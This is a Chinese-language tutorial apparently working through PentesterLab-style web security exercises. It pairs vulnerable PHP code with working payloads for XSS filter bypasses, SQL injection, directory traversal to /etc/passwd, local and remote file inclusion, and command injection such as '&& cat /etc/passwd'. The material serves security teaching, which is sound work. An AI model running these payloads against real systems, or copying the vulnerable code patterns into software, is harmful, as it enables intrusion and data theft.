一、XSS
有三种类型的XSS:
- 反射型
- 存储型
- DOM型
1.没有任何防护
PHP源码
<?php
echo $_GET["name"];
?>
payload
?name=<script>alert(1);</script>
2.过滤了小写的,可以使用大小写绕过
PHP源码
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $name;
?>
其中,preg_replace() 正则替换所有符合条件的字符串
payload
<sCript>alert(1);</scrIpt>
3.过滤了不区分大小写的,可以使用嵌套的script标签绕过
PHP源码
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $name;
?>
其中,修饰符i:忽略大小写,匹配不考虑大小写。
payload
<scr<script>ipt>alert(1)</scr</script>ipt>
4.判断包含script字符串即报错,可以使用img标签绕过
PHP源码
<?php
if(preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
payload-1:
<img src='a' onerror='alert(1)' />
payload-2:
<a href="" onMouseOver="alert(1)">testtest</a>
payload-3:
<div style="color:#0000FF onMouseOver="alert(1)">
<div onclick="alert('xss')">
5.判断包含alert字符串即报错,可以使用ascii编码方式绕过
PHP源码
<?php
if(preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
过滤了单词alert,可以使用eval和String.fromCharCode()函数,把alert(1)编码为ascii码,可以绕过。
payload-1: img标签
<img src=N onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))">
payload2: a标签
<a href=""onMouseOver="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))">testtest</a>
6.直接在js环境中输出php变量,可以通过构造js脚本绕过
PHP源码
<script>
var $a = "<?php echo $_GET["name"]; ?>";
</script>
payload-1:使用//注释后续代码
";b=alert(1);eval(b);//
payload-2:使用虚构代码结束后续部分
";b=alert(1);eval(b);var $dummy="
7.在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过
PHP源码
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
其中,htmlentities()把字符转换为HTML实体。
- htmlentities(string,flags,character-set,double_encode)
- flags参数:可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
- NT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
可见htmlentities函数默认不处理单引号(’)。
payload
';b=alert(1);eval(b);//
8.post地址使用了当前url,构造当前url地址达到xss目的
PHP源码
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
payload
/"method="POST"><script>alert(1)</script>
9.直接在页面输出锚点id,构建一个带xss的锚点即可
PHP源码
<script>
document.write(location.hash.substring(1));
</script>
payload
#<script>alert(1)</script>
二、SQL注入
本环境使用MySQL作为后端环境。
1.
php源码
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require_once '../footer.php';
?>
payload
利用自带的引号闭合
自行闭合,并使用注释
- 使用–注释
?name=root' --%20
- 使用#注释
?name=root' %23
2.检测到空格便报错。使用tab可以绕过。
php源码
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
payload
?name=root'%09and%09'1'='1
3.禁止使用空格和TAB键。使用注释/**/可以绕过
payload
?name=root'/**/and/**/'1'='1
php源码
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
4.
本例是防止SQL注入的典型错误。mysql_real_escape_string可以防止前面3种绕过方式。但是本例中获取的值是一个整数,在单引号’之间不会被回显。该值直接放入查询中,因此使用此函数不会阻止任何操作。
可以加入空格和SQL关键词来破坏语法。
php源码
<?php
require_once('../header.php');
require_once('db.php');
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
payload:play with value 2
?id=2
?id=3-1
?id=2-0
?id=1+1
?id=2.0
5.?
php源码
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
该正则表达式不正确,仅保证了参数id是以数字开始的。前面的检测方式可以发现该漏洞。
payload
6.
php源码
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
该正则表达式仅仅保证了参数id以数字结束。没有保证参数的开始是否是有效的。
payload
?id=1 or 1=1 # 123
7.
php源码
参数id必须以数字开始和结束。但是该正则使用了PCRE修饰符PCRE_MULTILINE(/m),所以只会验证其中一行只包含一个整数。
payload
123\nPAYLOAD
PAYLOAD\n123
PAYLOAD\n123\nPAYLOAD
其中换行符(linefeed)\n的URL编码为%0a
8.排序参数。
php源码
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
MySQL有两种排序语句:
- 直接声明:ORDER BY name
- 在反引号之间声明:ORDER BY name
可以测试该漏洞是否存在:
payload-1:以下payload显示相同结果
name` #
name` ASC #
name`, `name
payload-2:以下payload显示不同结果
name` DESC #
name`
9.
php源码
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
可以使用MySQL的IF语句生成更多的payloads
payload-1:以下两种,结果相同
?order=name
?order=IF(1, name,age)
payload-2:和上边两种结果不同
?order=IF(0,name,age)
副作用:这种payload会导致,使用age排序时会把整数当作字符。(字符串10小于字符串2)
三、Directory traversal attack
又称Path Traversal attack,即目录遍历攻击,旨在访问web服务器根目录外的文件/目录。通过是通过url或变量里头传递”../”来进行目录遍历。
测试方法:相同值技术。使用相同意义的不同表达,以及大量的../,检测是否存在漏洞。
3.1 简单的例子,没有过滤。
example
http://vulnerable/dirtrav/example1.php?file=hacker.png
php
<?php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file;
if (!is_file($path))
die();
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
$handle = fopen($path, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
?>
payload
?file=../../../../../etc/passwd
3.2
example
http://vulnerable/dirtrav/example2.php?file=/var/www/files/hacker.png
php
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
die();
if (!is_file($file))
die();
可以保留路径的开始部分,使用../回溯到根目录。
payload
?file=/var/www/files/../../../../../../etc/passwd
3.3服务器添加了后缀名。在payload后面加入空字节%00可以绕过。
example
http://vulnerable/dirtrav/example3.php?file=hacker
php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);
payload
?file=../../../../../etc/passwd%00
4.文件包含
4.1 没有任何过滤
php
if ($_GET["page"]) {
include($_GET["page"]);
}
payload-1:本地文件包含
?page=../../../../etc/passwd
payload-2:远程文件包含
?page=http://assets.pentesterlab.com/test_include.txt
4.2 服务器添加后缀名。本地文件使用空字节%00可以绕过,远程文件使用&blah=或者?blah=可以绕过
php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
payload-1:本地文件包含
?page=../../../../etc/passwd%00
payload-2:远程文件包含
?page=http://assets.pentesterlab.com/test_include.txt?blah=
URL中使用?来分隔多个不同参数。
5.代码注入
6.命令注入
6.1 没有任何的输入验证,可以直接在参数后直接注入命令
payload
?ip=127.0.0.1 %26%26 cat /etc/passwd
6.2 验证使用了多行的正则表达式,把换行符编码可以绕过
php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
正则表达式的^匹配一个字符串的开头, 匹配一个字符串的结尾,m规定正则表达式可以执行多行匹配,让和 分别表示行首和行尾。
注入编码的换行符(%0a)然后加上你要执行的命令就行了。
payload
?ip=127.0.0.1%0Acat /etc/passwd